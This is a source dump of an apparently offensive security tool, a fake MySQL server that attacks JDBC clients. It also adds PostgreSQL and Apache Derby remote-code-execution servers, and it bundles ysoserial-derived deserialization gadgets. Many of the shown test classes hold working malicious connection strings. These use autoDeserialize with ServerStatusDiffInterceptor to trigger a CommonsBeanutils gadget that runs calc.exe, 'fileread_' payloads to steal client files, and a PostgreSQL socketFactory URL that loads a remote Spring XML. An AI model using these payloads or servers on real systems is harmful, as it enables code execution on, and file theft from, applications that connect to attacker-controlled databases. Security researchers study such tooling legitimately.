├── img ├── 001.png ├── 002.png ├── 003.png ├── 004.png ├── 005.png └── 006.png ├── fake-mysql-gui ├── src │ └── main │ │ ├── resources │ │ ├── ver.png │ │ ├── class.png │ │ ├── issue.png │ │ ├── normal.png │ │ └── address.png │ │ └── java │ │ └── me │ │ └── n1ar4 │ │ └── fake │ │ └── gui │ │ ├── util │ │ ├── StringUtil.java │ │ ├── PortUtil.java │ │ └── TipUtil.java │ │ ├── Application.java │ │ ├── Constant.java │ │ └── form │ │ └── FakeServer.form └── pom.xml ├── fake-mysql-proto ├── src │ ├── main │ │ ├── java │ │ │ └── me │ │ │ │ └── n1ar4 │ │ │ │ └── fake │ │ │ │ └── proto │ │ │ │ ├── Resolver.java │ │ │ │ ├── Version.java │ │ │ │ ├── constant │ │ │ │ ├── Charset.java │ │ │ │ ├── Resp.java │ │ │ │ ├── Capability.java │ │ │ │ └── Status.java │ │ │ │ ├── RequestDecoder.java │ │ │ │ ├── FirstRespMessage.java │ │ │ │ ├── utils │ │ │ │ ├── ByteUtil.java │ │ │ │ └── LenUtil.java │ │ │ │ ├── PacketHelper.java │ │ │ │ ├── MySQLServer.java │ │ │ │ ├── ColumnPacket.java │ │ │ │ ├── VariablesResolver.java │ │ │ │ ├── ReadFileResolver.java │ │ │ │ ├── TaskStarter.java │ │ │ │ ├── GreetingMessage.java │ │ │ │ └── GadgetResolver.java │ │ └── resources │ │ │ └── log4j2.xml │ └── test │ │ └── java │ │ └── GreetingFromServerTest.java └── pom.xml ├── fake-mysql-gadget ├── src │ └── main │ │ └── java │ │ └── me │ │ └── n1ar4 │ │ └── fake │ │ └── gadget │ │ ├── README.md │ │ ├── SerUtil.java │ │ ├── CC44.java │ │ ├── JDK7U21.java │ │ ├── ClassFiles.java │ │ ├── Converter.java │ │ ├── CB.java │ │ ├── URLDNS.java │ │ ├── Reflections.java │ │ ├── CC31.java │ │ ├── Gadgets.java │ │ └── JDK8U20.java └── pom.xml ├── Dockerfile ├── derby-rce-test ├── src │ └── main │ │ └── java │ │ └── me │ │ └── n1ar4 │ │ └── DerbyRceTest.java └── pom.xml ├── pgsql-rce-test ├── src │ └── main │ │ └── java │ │ └── me │ │ └── n1ar4 │ │ └── pgsql │ │ └── PgsqlRceTest.java └── pom.xml ├── fake-mysql8-test ├── src │ └── main │ │ └── java │ │ └── me │ │ └── n1ar4 │ │ └── fake │ │ └── test │ │ └── mysql8 │ │ ├── MySQL8Read.java │ │ ├── MySQL8ReadBase.java │ │ ├── MySQL8ReadOtherPath.java │ │ ├── MySQL8CB_S.java │ │ └── MySQL8CB_SBase.java └── pom.xml ├── fake-mysql5-test ├── src │ └── main │ │ └── java │ │ └── me │ │ └── n1ar4 │ │ └── fake │ │ └── test │ │ └── mysql5 │ │ ├── MySQL5CB_D.java │ │ ├── MySQL5CB_DBase.java │ │ ├── MySQL5CB_S.java │ │ ├── MySQL5Read.java │ │ └── MySQL5CB_SBase.java └── pom.xml ├── fake-mysql6-test ├── src │ └── main │ │ └── java │ │ └── me │ │ └── n1ar4 │ │ └── fake │ │ └── test │ │ └── mysql6 │ │ ├── MySQL6CB_D.java │ │ ├── MySQL6CB_DBase.java │ │ ├── MySQL6CB_S.java │ │ ├── MySQL6NameBugTest.java │ │ ├── MySQL6Read.java │ │ ├── MySQL6CB_SBase.java │ │ └── MySQL6NameGadgetBugTest.java └── pom.xml ├── CHANGELOG.MD ├── .gitignore ├── fake-mysql-log ├── pom.xml └── src │ └── main │ └── java │ └── me │ └── n1ar4 │ └── fake │ └── log │ └── LogUtil.java ├── fake-mysql-build ├── pom.xml └── src │ └── main │ └── java │ └── me │ └── n1ar4 │ └── fake │ └── Build.java ├── .github └── workflows │ └── maven.yml ├── pgsql-xml-server ├── pom.xml └── src │ └── main │ └── java │ └── me │ └── n1ar4 │ └── fake │ └── pgsql │ ├── XmlServer.java │ └── XmlHandler.java ├── settings.xml ├── derby-evil-server ├── pom.xml └── src │ └── main │ └── java │ └── me │ └── n1ar4 │ └── derby │ └── EvilSlaveServer.java ├── fake-mysql-cli ├── src │ └── main │ │ └── java │ │ └── me │ │ └── n1ar4 │ │ └── fake │ │ └── cli │ │ ├── Cli.java │ │ └── PrintUtil.java └── pom.xml ├── README.md ├── doc └── README.md └── pom.xml /img/001.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b1ackc4t/mysql-fake-server/master/img/001.png -------------------------------------------------------------------------------- /img/002.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b1ackc4t/mysql-fake-server/master/img/002.png -------------------------------------------------------------------------------- /img/003.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b1ackc4t/mysql-fake-server/master/img/003.png -------------------------------------------------------------------------------- /img/004.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b1ackc4t/mysql-fake-server/master/img/004.png -------------------------------------------------------------------------------- /img/005.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b1ackc4t/mysql-fake-server/master/img/005.png -------------------------------------------------------------------------------- /img/006.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b1ackc4t/mysql-fake-server/master/img/006.png -------------------------------------------------------------------------------- /fake-mysql-gui/src/main/resources/ver.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b1ackc4t/mysql-fake-server/master/fake-mysql-gui/src/main/resources/ver.png -------------------------------------------------------------------------------- /fake-mysql-gui/src/main/resources/class.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b1ackc4t/mysql-fake-server/master/fake-mysql-gui/src/main/resources/class.png -------------------------------------------------------------------------------- /fake-mysql-gui/src/main/resources/issue.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b1ackc4t/mysql-fake-server/master/fake-mysql-gui/src/main/resources/issue.png -------------------------------------------------------------------------------- /fake-mysql-gui/src/main/resources/normal.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b1ackc4t/mysql-fake-server/master/fake-mysql-gui/src/main/resources/normal.png -------------------------------------------------------------------------------- /fake-mysql-gui/src/main/resources/address.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b1ackc4t/mysql-fake-server/master/fake-mysql-gui/src/main/resources/address.png -------------------------------------------------------------------------------- /fake-mysql-proto/src/main/java/me/n1ar4/fake/proto/Resolver.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.proto; 2 | 3 | public interface Resolver { 4 | void resolve(); 5 | } 6 | -------------------------------------------------------------------------------- /fake-mysql-proto/src/main/java/me/n1ar4/fake/proto/Version.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.proto; 2 | 3 | public interface Version { 4 | String version = "0.0.4"; 5 | } 6 | -------------------------------------------------------------------------------- /fake-mysql-proto/src/main/java/me/n1ar4/fake/proto/constant/Charset.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.proto.constant; 2 | 3 | @SuppressWarnings("all") 4 | public interface Charset { 5 | int UTF8 = 0x21; 6 | } 7 | -------------------------------------------------------------------------------- /fake-mysql-gadget/src/main/java/me/n1ar4/fake/gadget/README.md: -------------------------------------------------------------------------------- 1 | # Gadget 2 | 3 | The code is from: 4 | 5 | - https://github.com/frohoff/ysoserial 6 | - https://github.com/pwntester/JRE8u20_RCE_Gadget 7 | 8 | Thanks for these projects! -------------------------------------------------------------------------------- /fake-mysql-proto/src/test/java/GreetingFromServerTest.java: -------------------------------------------------------------------------------- 1 | import me.n1ar4.fake.proto.GreetingMessage; 2 | 3 | public class GreetingFromServerTest { 4 | public static void main(String[] args) { 5 | GreetingMessage g = new GreetingMessage(); 6 | System.out.println(g.getBytes().length); 7 | } 8 | } 9 | -------------------------------------------------------------------------------- /fake-mysql-gui/src/main/java/me/n1ar4/fake/gui/util/StringUtil.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.gui.util; 2 | 3 | public class StringUtil { 4 | public static boolean isNull(String s) { 5 | if (s == null) { 6 | return true; 7 | } 8 | s = s.trim(); 9 | return s.isEmpty(); 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /fake-mysql-proto/src/main/resources/log4j2.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM maven:3-jdk-8 AS builder 2 | 3 | LABEL MAINTAINER="4ra1n" 4 | 5 | COPY ./ /usr/src/ 6 | COPY ./settings.xml /root/.m2/settings.xml 7 | 8 | WORKDIR /usr/src 9 | 10 | RUN cd /usr/src; \ 11 | mvn -U clean package -Dmaven.test.skip=true 12 | 13 | FROM openjdk:8-jre 14 | 15 | LABEL MAINTAINER="4ra1n" 16 | 17 | COPY --from=builder /usr/src/fake-mysql-cli-0.0.4.jar /cli.jar 18 | 19 | EXPOSE 3306 20 | 21 | CMD ["java","-jar","/cli.jar","-p","3306"] 22 | -------------------------------------------------------------------------------- /derby-rce-test/src/main/java/me/n1ar4/DerbyRceTest.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4; 2 | 3 | import java.sql.DriverManager; 4 | 5 | public class DerbyRceTest { 6 | public static void main(String[] args) throws Exception { 7 | Class.forName("org.apache.derby.jdbc.EmbeddedDriver"); 8 | DriverManager.getConnection("jdbc:derby:zWeBN;create=true"); 9 | DriverManager.getConnection("jdbc:derby:zWeBN;startMaster=true;slaveHost=127.0.0.1;slavePort=56589;"); 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /fake-mysql-gui/src/main/java/me/n1ar4/fake/gui/Application.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.gui; 2 | 3 | import com.formdev.flatlaf.FlatLightLaf; 4 | import me.n1ar4.fake.gui.form.FakeServer; 5 | 6 | import javax.swing.*; 7 | 8 | public class Application { 9 | public static void main(String[] args) { 10 | FlatLightLaf.setup(); 11 | SwingUtilities.invokeLater(Application::createAndShowGUI); 12 | } 13 | 14 | private static void createAndShowGUI() { 15 | FakeServer.start(); 16 | } 17 | } -------------------------------------------------------------------------------- /fake-mysql-gui/src/main/java/me/n1ar4/fake/gui/util/PortUtil.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.gui.util; 2 | 3 | import java.io.IOException; 4 | import java.net.ServerSocket; 5 | 6 | public class PortUtil { 7 | public static String getFreePort() { 8 | try (ServerSocket serverSocket = new ServerSocket(0)) { 9 | return String.valueOf(serverSocket.getLocalPort()); 10 | } catch (IOException e) { 11 | e.printStackTrace(); 12 | return null; 13 | } 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /fake-mysql-gui/src/main/java/me/n1ar4/fake/gui/util/TipUtil.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.gui.util; 2 | 3 | import javax.swing.*; 4 | 5 | public class TipUtil { 6 | public static void info(String msg) { 7 | JOptionPane.showMessageDialog(null, msg, "INFOMATION", 8 | JOptionPane.INFORMATION_MESSAGE); 9 | } 10 | 11 | public static void error(String msg) { 12 | JOptionPane.showMessageDialog(null, msg, "ERROR", 13 | JOptionPane.ERROR_MESSAGE); 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /pgsql-rce-test/src/main/java/me/n1ar4/pgsql/PgsqlRceTest.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.pgsql; 2 | 3 | import java.sql.DriverManager; 4 | import java.sql.SQLException; 5 | 6 | public class PgsqlRceTest { 7 | public static void main(String[] args) throws SQLException { 8 | String jdbcUrl = "jdbc:postgresql://127.0.0.1:56531/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:56531/xJwljPqt.xml"; 9 | DriverManager.getConnection(jdbcUrl); 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /fake-mysql8-test/src/main/java/me/n1ar4/fake/test/mysql8/MySQL8Read.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.test.mysql8; 2 | 3 | import java.sql.DriverManager; 4 | 5 | public class MySQL8Read { 6 | public static void main(String[] args) { 7 | String url = "jdbc:mysql://127.0.0.1:3308/test?user=" + 8 | "fileread_C:\\Program Files\\Java\\jdk-17\\lib\\src.zip"; 9 | try { 10 | Class.forName("com.mysql.cj.jdbc.Driver"); 11 | DriverManager.getConnection(url); 12 | } catch (Exception e) { 13 | e.printStackTrace(); 14 | } 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /fake-mysql-proto/src/main/java/me/n1ar4/fake/proto/constant/Resp.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.proto.constant; 2 | 3 | @SuppressWarnings("all") 4 | public interface Resp { 5 | byte[] OK = new byte[]{ 6 | (byte) 0x00, 7 | (byte) 0x00, 8 | (byte) 0x00, 9 | (byte) 0x02, 10 | (byte) 0x00, 11 | (byte) 0x00, 12 | (byte) 0x00, 13 | }; 14 | byte[] EOF = new byte[]{ 15 | (byte) 0xfe, 16 | (byte) 0x00, 17 | (byte) 0x00, 18 | (byte) 0x02, 19 | (byte) 0x00, 20 | }; 21 | } 22 | -------------------------------------------------------------------------------- /fake-mysql5-test/src/main/java/me/n1ar4/fake/test/mysql5/MySQL5CB_D.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.test.mysql5; 2 | 3 | import java.sql.DriverManager; 4 | 5 | public class MySQL5CB_D { 6 | public static void main(String[] args) { 7 | String url = "jdbc:mysql://127.0.0.1:3308/test?" + 8 | "detectCustomCollations=true&autoDeserialize=true&user=deser_CB_calc.exe"; 9 | try { 10 | Class.forName("com.mysql.jdbc.Driver"); 11 | DriverManager.getConnection(url); 12 | } catch (Exception e) { 13 | e.printStackTrace(); 14 | } 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /fake-mysql6-test/src/main/java/me/n1ar4/fake/test/mysql6/MySQL6CB_D.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.test.mysql6; 2 | 3 | import java.sql.DriverManager; 4 | 5 | public class MySQL6CB_D { 6 | public static void main(String[] args) { 7 | String url = "jdbc:mysql://127.0.0.1:3308/test?" + 8 | "detectCustomCollations=true&autoDeserialize=true&user=deser_CB_calc.exe"; 9 | try { 10 | Class.forName("com.mysql.jdbc.Driver"); 11 | DriverManager.getConnection(url); 12 | } catch (Exception e) { 13 | e.printStackTrace(); 14 | } 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /fake-mysql5-test/src/main/java/me/n1ar4/fake/test/mysql5/MySQL5CB_DBase.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.test.mysql5; 2 | 3 | import java.sql.DriverManager; 4 | 5 | public class MySQL5CB_DBase { 6 | public static void main(String[] args) { 7 | String url = "jdbc:mysql://127.0.0.1:3308/test?" + 8 | "detectCustomCollations=true&autoDeserialize=true&user=base64ZGVzZXJfQ0JfY2FsYy5leGU="; 9 | try { 10 | Class.forName("com.mysql.jdbc.Driver"); 11 | DriverManager.getConnection(url); 12 | } catch (Exception e) { 13 | e.printStackTrace(); 14 | } 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /fake-mysql6-test/src/main/java/me/n1ar4/fake/test/mysql6/MySQL6CB_DBase.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.test.mysql6; 2 | 3 | import java.sql.DriverManager; 4 | 5 | public class MySQL6CB_DBase { 6 | public static void main(String[] args) { 7 | String url = "jdbc:mysql://127.0.0.1:3308/test?" + 8 | "detectCustomCollations=true&autoDeserialize=true&user=base64ZGVzZXJfQ0JfY2FsYy5leGU="; 9 | try { 10 | Class.forName("com.mysql.jdbc.Driver"); 11 | DriverManager.getConnection(url); 12 | } catch (Exception e) { 13 | e.printStackTrace(); 14 | } 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /fake-mysql8-test/src/main/java/me/n1ar4/fake/test/mysql8/MySQL8ReadBase.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.test.mysql8; 2 | 3 | import java.sql.DriverManager; 4 | 5 | public class MySQL8ReadBase { 6 | public static void main(String[] args) { 7 | String url = "jdbc:mysql://127.0.0.1:3308/test?user=" + 8 | "base64ZmlsZXJlYWRfQzpcUHJvZ3JhbSBGaWxlc1xKYXZhXGpkay0xN1xsaWJcc3JjLnppcA=="; 9 | try { 10 | Class.forName("com.mysql.cj.jdbc.Driver"); 11 | DriverManager.getConnection(url); 12 | } catch (Exception e) { 13 | e.printStackTrace(); 14 | } 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /fake-mysql8-test/src/main/java/me/n1ar4/fake/test/mysql8/MySQL8ReadOtherPath.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.test.mysql8; 2 | 3 | import java.sql.DriverManager; 4 | 5 | public class MySQL8ReadOtherPath { 6 | public static void main(String[] args) { 7 | String url = "jdbc:mysql://127.0.0.1:3308/test?user=" + 8 | "fileread_C:\\\\Program Files\\\\Java\\\\jdk-17\\\\lib\\\\src.zip"; 9 | try { 10 | Class.forName("com.mysql.cj.jdbc.Driver"); 11 | DriverManager.getConnection(url); 12 | } catch (Exception e) { 13 | e.printStackTrace(); 14 | } 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /fake-mysql5-test/src/main/java/me/n1ar4/fake/test/mysql5/MySQL5CB_S.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.test.mysql5; 2 | 3 | import java.sql.DriverManager; 4 | 5 | public class MySQL5CB_S { 6 | public static void main(String[] args) { 7 | String url = "jdbc:mysql://127.0.0.1:3308/test?" + 8 | "autoDeserialize=true&statementInterceptors=" + 9 | "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CB_calc.exe"; 10 | try { 11 | Class.forName("com.mysql.jdbc.Driver"); 12 | DriverManager.getConnection(url); 13 | } catch (Exception e) { 14 | e.printStackTrace(); 15 | } 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /CHANGELOG.MD: -------------------------------------------------------------------------------- 1 | # CHANGELOG 2 | 3 | ## 0.0.1 4 | 5 | init 6 | 7 | ## 0.0.2 8 | 9 | - 处理payload包含_字符的BUG 10 | - 允许参数Base64输入,防止特殊情况 11 | - GUI版停止后再次启动存在BUG 12 | - 命令行版本优化输出部分,添加HELP信息 13 | - 处理非主要功能的BUG 14 | - 自动检查新版本并提示更新 15 | 16 | ## 0.0.3 17 | 18 | 支持了自定义反序列化payload功能,内部仅保留最常见的链,其他情况自行导入 19 | 20 | - 希望支持yso自定义 #3 21 | - 支持调用自己的yso #2 22 | - 命令行版本也支持了自定义序列化数据 23 | - 修复了dockerfile版本问题 24 | - 删除了基本不会使用的rpc模块 25 | - 完善README信息 26 | 27 | ## 0.0.4 28 | 29 | 支持了两种JDBC的利用:`PgSQL`和`Apache Derby` 30 | 31 | - 重要更新:支持了PgSQL RCE的利用Server 32 | - 重要更新:支持了Apache Derby利用Slave功能的RCE 33 | - 优化依赖减小体积,使用更标准的Maven插件打包配置 34 | - 修复了某些情况下日志输出的问题 35 | - 恢复日志模式到INFO级别避免打印过多无意义信息 36 | - 对UI做了一些小改善 37 | 38 | ## 0.0.5 -------------------------------------------------------------------------------- /fake-mysql6-test/src/main/java/me/n1ar4/fake/test/mysql6/MySQL6CB_S.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.test.mysql6; 2 | 3 | import java.sql.DriverManager; 4 | 5 | public class MySQL6CB_S { 6 | public static void main(String[] args) { 7 | String url = "jdbc:mysql://127.0.0.1:3308/test?" + 8 | "autoDeserialize=true&statementInterceptors=" + 9 | "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CB_calc.exe"; 10 | try { 11 | Class.forName("com.mysql.jdbc.Driver"); 12 | DriverManager.getConnection(url); 13 | } catch (Exception e) { 14 | e.printStackTrace(); 15 | } 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /fake-mysql8-test/src/main/java/me/n1ar4/fake/test/mysql8/MySQL8CB_S.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.test.mysql8; 2 | 3 | import java.sql.DriverManager; 4 | 5 | public class MySQL8CB_S { 6 | public static void main(String[] args) { 7 | String url = "jdbc:mysql://127.0.0.1:3308/test?" + 8 | "autoDeserialize=true&queryInterceptors=" + 9 | "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CB_calc.exe"; 10 | try { 11 | Class.forName("com.mysql.cj.jdbc.Driver"); 12 | DriverManager.getConnection(url); 13 | } catch (Exception e) { 14 | e.printStackTrace(); 15 | } 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | target/ 2 | !.mvn/wrapper/maven-wrapper.jar 3 | !**/src/main/**/target/ 4 | !**/src/test/**/target/ 5 | 6 | ### IntelliJ IDEA ### 7 | .idea/modules.xml 8 | .idea/jarRepositories.xml 9 | .idea/compiler.xml 10 | .idea/libraries/ 11 | *.iws 12 | *.iml 13 | *.ipr 14 | 15 | ### Eclipse ### 16 | .apt_generated 17 | .classpath 18 | .factorypath 19 | .project 20 | .settings 21 | .springBeans 22 | .sts4-cache 23 | 24 | ### NetBeans ### 25 | /nbproject/private/ 26 | /nbbuild/ 27 | /dist/ 28 | /nbdist/ 29 | /.nb-gradle/ 30 | build/ 31 | !**/src/main/**/build/ 32 | !**/src/test/**/build/ 33 | 34 | ### VS Code ### 35 | .vscode/ 36 | 37 | ### Mac OS ### 38 | .DS_Store 39 | 40 | *.jar 41 | *.class 42 | .idea/ -------------------------------------------------------------------------------- /fake-mysql6-test/src/main/java/me/n1ar4/fake/test/mysql6/MySQL6NameBugTest.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.test.mysql6; 2 | 3 | import java.sql.DriverManager; 4 | 5 | public class MySQL6NameBugTest { 6 | public static void main(String[] args) { 7 | String url = "jdbc:mysql://127.0.0.1:3308/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/&maxAllowedPacket=65536&user=" + 8 | "fileread_C:\\test_test\\test_Test__te"; 9 | try { 10 | Class.forName("com.mysql.jdbc.Driver"); 11 | DriverManager.getConnection(url); 12 | } catch (Exception e) { 13 | e.printStackTrace(); 14 | } 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /fake-mysql5-test/src/main/java/me/n1ar4/fake/test/mysql5/MySQL5Read.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.test.mysql5; 2 | 3 | import java.sql.DriverManager; 4 | 5 | public class MySQL5Read { 6 | public static void main(String[] args) { 7 | String url = "jdbc:mysql://127.0.0.1:3308/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/&maxAllowedPacket=65536&user=" + 8 | "fileread_C:\\Program Files\\Java\\jdk-17\\lib\\src.zip"; 9 | try { 10 | Class.forName("com.mysql.jdbc.Driver"); 11 | DriverManager.getConnection(url); 12 | } catch (Exception e) { 13 | e.printStackTrace(); 14 | } 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /fake-mysql6-test/src/main/java/me/n1ar4/fake/test/mysql6/MySQL6Read.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.test.mysql6; 2 | 3 | import java.sql.DriverManager; 4 | 5 | public class MySQL6Read { 6 | public static void main(String[] args) { 7 | String url = "jdbc:mysql://127.0.0.1:3308/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/&maxAllowedPacket=65536&user=" + 8 | "fileread_C:\\Program Files\\Java\\jdk-17\\lib\\src.zip"; 9 | try { 10 | Class.forName("com.mysql.jdbc.Driver"); 11 | DriverManager.getConnection(url); 12 | } catch (Exception e) { 13 | e.printStackTrace(); 14 | } 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /fake-mysql-proto/src/main/java/me/n1ar4/fake/proto/constant/Capability.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.proto.constant; 2 | 3 | @SuppressWarnings("all") 4 | public interface Capability { 5 | int LONG_PASSWORD = 0x00000001; 6 | int FOUND_ROWS = 0x00000002; 7 | int LONG_FLAG = 0x00000004; 8 | int CONNECT_WITH_DB = 0x00000008; 9 | int NO_SCHEMA = 0x00000010; 10 | int PROTOCOL_41 = 0x00000200; 11 | int TRANSACTIONS = 0x00002000; 12 | int SECURE_CONNECTION = 0x00008000; 13 | int PLUGIN_AUTH = 0x00080000; 14 | int CONNECT_ATTRS = 0x00100000; 15 | int PLUGIN_AUTH_LENENC_CLIENT_DATA = 0x00200000; 16 | int SESSION_TRACK = 0x00800000; 17 | int DEPRECATE_EOF = 0x01000000; 18 | } 19 | -------------------------------------------------------------------------------- /fake-mysql5-test/src/main/java/me/n1ar4/fake/test/mysql5/MySQL5CB_SBase.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.test.mysql5; 2 | 3 | import java.sql.DriverManager; 4 | 5 | public class MySQL5CB_SBase { 6 | public static void main(String[] args) { 7 | String url = "jdbc:mysql://127.0.0.1:3308/test?" + 8 | "autoDeserialize=true&statementInterceptors=" + 9 | "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=base64ZGVzZXJfQ0JfY2FsYy5leGU="; 10 | try { 11 | Class.forName("com.mysql.jdbc.Driver"); 12 | DriverManager.getConnection(url); 13 | } catch (Exception e) { 14 | e.printStackTrace(); 15 | } 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /fake-mysql6-test/src/main/java/me/n1ar4/fake/test/mysql6/MySQL6CB_SBase.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.test.mysql6; 2 | 3 | import java.sql.DriverManager; 4 | 5 | public class MySQL6CB_SBase { 6 | public static void main(String[] args) { 7 | String url = "jdbc:mysql://127.0.0.1:3308/test?" + 8 | "autoDeserialize=true&statementInterceptors=" + 9 | "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=base64ZGVzZXJfQ0JfY2FsYy5leGU="; 10 | try { 11 | Class.forName("com.mysql.jdbc.Driver"); 12 | DriverManager.getConnection(url); 13 | } catch (Exception e) { 14 | e.printStackTrace(); 15 | } 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /fake-mysql8-test/src/main/java/me/n1ar4/fake/test/mysql8/MySQL8CB_SBase.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.test.mysql8; 2 | 3 | import java.sql.DriverManager; 4 | 5 | public class MySQL8CB_SBase { 6 | public static void main(String[] args) { 7 | String url = "jdbc:mysql://127.0.0.1:3308/test?" + 8 | "autoDeserialize=true&queryInterceptors=" + 9 | "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=base64ZGVzZXJfQ0JfY2FsYy5leGU="; 10 | try { 11 | Class.forName("com.mysql.cj.jdbc.Driver"); 12 | DriverManager.getConnection(url); 13 | } catch (Exception e) { 14 | e.printStackTrace(); 15 | } 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /fake-mysql6-test/src/main/java/me/n1ar4/fake/test/mysql6/MySQL6NameGadgetBugTest.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.test.mysql6; 2 | 3 | import java.sql.DriverManager; 4 | 5 | public class MySQL6NameGadgetBugTest { 6 | public static void main(String[] args) { 7 | String url = "jdbc:mysql://127.0.0.1:55707/test?" + 8 | "autoDeserialize=true&statementInterceptors=" + 9 | "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CB_this_is_a_cmd"; 10 | try { 11 | Class.forName("com.mysql.jdbc.Driver"); 12 | DriverManager.getConnection(url); 13 | } catch (Exception e) { 14 | e.printStackTrace(); 15 | } 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /fake-mysql-proto/src/main/java/me/n1ar4/fake/proto/constant/Status.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.proto.constant; 2 | 3 | @SuppressWarnings("all") 4 | public interface Status { 5 | int STATUS_IN_TRANS = 0x0001; 6 | int STATUS_AUTOCOMMIT = 0x0002; 7 | int MORE_RESULTS_EXISTS = 0x0008; 8 | int STATUS_NO_GOOD_INDEX_USED = 0x0010; 9 | int STATUS_NO_INDEX_USED = 0x0020; 10 | int STATUS_CURSOR_EXISTS = 0x0040; 11 | int STATUS_LAST_ROW_SENT = 0x0080; 12 | int STATUS_DB_DROPPED = 0x0100; 13 | int STATUS_NO_BACKSLASH_ESCAPES = 0x0200; 14 | int STATUS_METADATA_CHANGED = 0x0400; 15 | int QUERY_WAS_SLOW = 0x0800; 16 | int PS_OUT_PARAMS = 0x1000; 17 | int STATUS_IN_TRANS_READONLY = 0x2000; 18 | int SESSION_STATE_CHANGED = 0x4000; 19 | } 20 | -------------------------------------------------------------------------------- /fake-mysql-log/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | me.n1ar4 8 | FakeServer 9 | 0.0.4 10 | 11 | 12 | fake-mysql-log 13 | 14 | 15 | 8 16 | 8 17 | UTF-8 18 | 19 | 20 | -------------------------------------------------------------------------------- /fake-mysql-log/src/main/java/me/n1ar4/fake/log/LogUtil.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.log; 2 | 3 | import javax.swing.*; 4 | import java.time.LocalTime; 5 | import java.time.format.DateTimeFormatter; 6 | 7 | public class LogUtil { 8 | private static JTextArea t; 9 | 10 | public static void setT(JTextArea t) { 11 | LogUtil.t = t; 12 | } 13 | 14 | public static void log(String msg) { 15 | if (t == null) { 16 | return; 17 | } 18 | DateTimeFormatter formatter = DateTimeFormatter.ofPattern("HH:mm:ss"); 19 | String formattedTime = LocalTime.now().format(formatter); 20 | String logStr = String.format("[log] [%s] %s\n", formattedTime, msg); 21 | t.append(logStr); 22 | t.setCaretPosition(t.getDocument().getLength()); 23 | } 24 | } 25 | 